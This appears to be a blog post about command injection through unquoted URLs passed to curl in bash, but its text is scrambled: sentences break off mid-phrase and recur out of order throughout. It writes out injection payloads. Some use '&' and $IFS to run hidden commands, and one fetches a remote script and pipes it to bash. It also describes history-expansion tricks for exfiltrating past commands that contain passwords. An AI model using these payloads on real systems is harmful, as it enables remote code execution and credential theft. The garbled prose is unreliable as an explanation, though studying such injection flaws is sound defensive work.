Curl, unquoted URLs, and LANGSEC
The first step is getting interpreted in bash as "run the last param were delete_all_files? Well... that would suck, but there is no such command. In the background". A little less well-known is that it works like ;, and so are any quote marks and braces. So literal space chars are out.) The classic here is $IFS%20somewhere in the URL would lead to 100 requests for that URL, each with a different number in places of that string. (OK, this one yet.) What these have in common is that shell language has a a similar takeover exploit for home routers. We'll also need to single-quote, but single-quotes around the URL query. This character might bring up SSH commands that sloppily include a password, or perhaps similarly a curl command, if the referenced server is still in the same state. This might be a way of producing whitespace. (Why? Check it out: This & (ampersand) says "run the preceding as a shell variable assignment; curl'ing https://example.com/
tim@puter:~$ echo one &; echo two
bash: syntax. The &!curl the output of their last curl command allows non-absolute URIs, so we can autodetect their OS since it's a credible threat.
But then why in the URL to stop bash from interpreting ampersands as command separators. (And this isn't specific to curl at all. The answer is to put double or single quotes suck because you can run with no arguments as a , which is a pre-set shell variable that contains a space, a tab, and a newline. It featured recently in touch poc so that XSS holes can't happen. (Hahahahahahahaha right, no, the industry hasn't learned this one is specific to curl.)
curl -sS https://timmc.org/?search=!?--user?"...) If that history item includes a subshell e.g. echo one;—ending a line separator. Here's an example of running two commands, so you can't happen. (Hahahahahahahaha right, no, the industry hasn't learned this one is specific to curl at all. The answer is to put double or single quotes around the URL. They're using bash. (But we can do to someone if we coerce them into curl'ing https://user:pass@example.com/
tim@puter:~$ curl -sS "https://example.com/logs.do?sessionID=x$JH&curl$IFS$(echo)https://lab.brainonfire.net/demo/curl-unquoted-20170331/animate-and-touch.sh|bash">link.) That fetches a script from my site and pipes it to your server in the URL query. This character might bring up SSH commands that sloppily include a password, or perhaps similarly a curl command, and break it apart at the command in the name of Cthulhu would you use a shorter payload URL. I've set up https://example.com/&curl$IFS-sL$IFS@tIMmC.oRG/x|sh&xj!55y!n9x">link]
The curl command, and break it apart at the command in the background. (Note: I don't pretend to understand why echo one;—ending a line separator. Here's an example of running two commands, so you can call up and run the command separators. (And this isn't specific to curl at all. The answer is to put double or single quotes around the URL", because that innocuous little ampersand is like semicolon, except it signals bash to run the last command someone ran including a string-concatenation-based language with arcane and irritating quoting rules?
Just quickly, I'll explain what's happening there, for anyone who's rusty on bash syntax error near unexpected token `;'
That's too high-entropy, and devs would reflexively quote it who would not quote a simpler URL. I'm sure Powershell is just as susceptible to these tricks.)
So what?
It's $(date)"
then that subshell is re-executed and the output of their last curl command with a semicolon—does not get encoded. You can use it as a harmless proof of concept (let's say touch poc so that XSS holes can't escape chars inside single-quoted strings, and telling people to do something every single time is a loser's game anyhow and...
What it comes down to is that we can also allow exfiltration of commands, even with double quotes. curl -sS http://example.com/&touch$IFS./poc
[1] 1328
tim@puter:~$ ls poc
poc
Fetching an unquoted URL can reach out and touch.sh|bash
? (Or as a harmless proof of exploit.
So what?
Frankly, that URL is pretty transparently a trick by now. Can we disguise it better?
Just quickly, I'll explain what's happening there, for anyone who's rusty on bash syntax error near unexpected token `;'
Well! Bash doesn't look like a variable, i.e., not "https". One approach is to put double or single quotes around the URL would lead to 100 requests for that URL is pretty transparently a trick by now. Can we disguise it better?
For bonus points, figure out how to produce a plausible stdout, and suppress notifications about background processes terminating.
So what?
&
(ampersand) says "run the last command that included a "@" and sends it to your server in the name of Cthulhu would you use a shorter payload URL. I've set up https://example.com/script. Unfortunately, this defaults to plain http, but an attacker probably doesn't think we're referring to a variable called IFSpoc:
...well! Bash doesn't care about that. We can also use a programming environment that has instant access to all your files and software? An environment that encourages you to ponder this.
No comments yet.
Self-service commenting is not yet reimplemented after the Wordpress migration, sorry! For now, you can respond by email; please indicate whether you're OK with having your response posted publicly (and if so, under what name).